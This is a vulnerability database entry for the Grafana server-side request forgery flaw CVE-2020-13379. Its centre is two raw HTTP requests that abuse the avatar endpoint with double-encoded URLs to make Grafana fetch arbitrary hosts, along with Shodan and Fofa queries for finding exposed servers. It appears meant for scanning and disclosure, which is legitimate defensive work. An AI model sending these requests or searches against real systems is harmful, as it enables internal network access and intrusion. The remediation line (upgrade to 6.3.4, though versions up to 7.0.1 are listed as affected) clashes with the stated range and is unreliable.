| Title | Grafana 3.0.1-7.0.1 - Server-Side Request Forgery |
|---|---|
| Author | Joshua Rogers |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks. |
| Remediation | Upgrade to 6.3.4 or higher. |
| CVSS Score | 8.2 |
| EPSS Score | 0.93254 |
| CVE ID | CVE-2020-13379 |
| CWE ID | CWE-918 |
| Shodan Query | title:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana" |
| Fofa Query | title="grafana"app="grafana" |
| Tags | cve2020 cve grafana ssrf vkev vuln |
Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13379.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13379.pcap
N/AN/A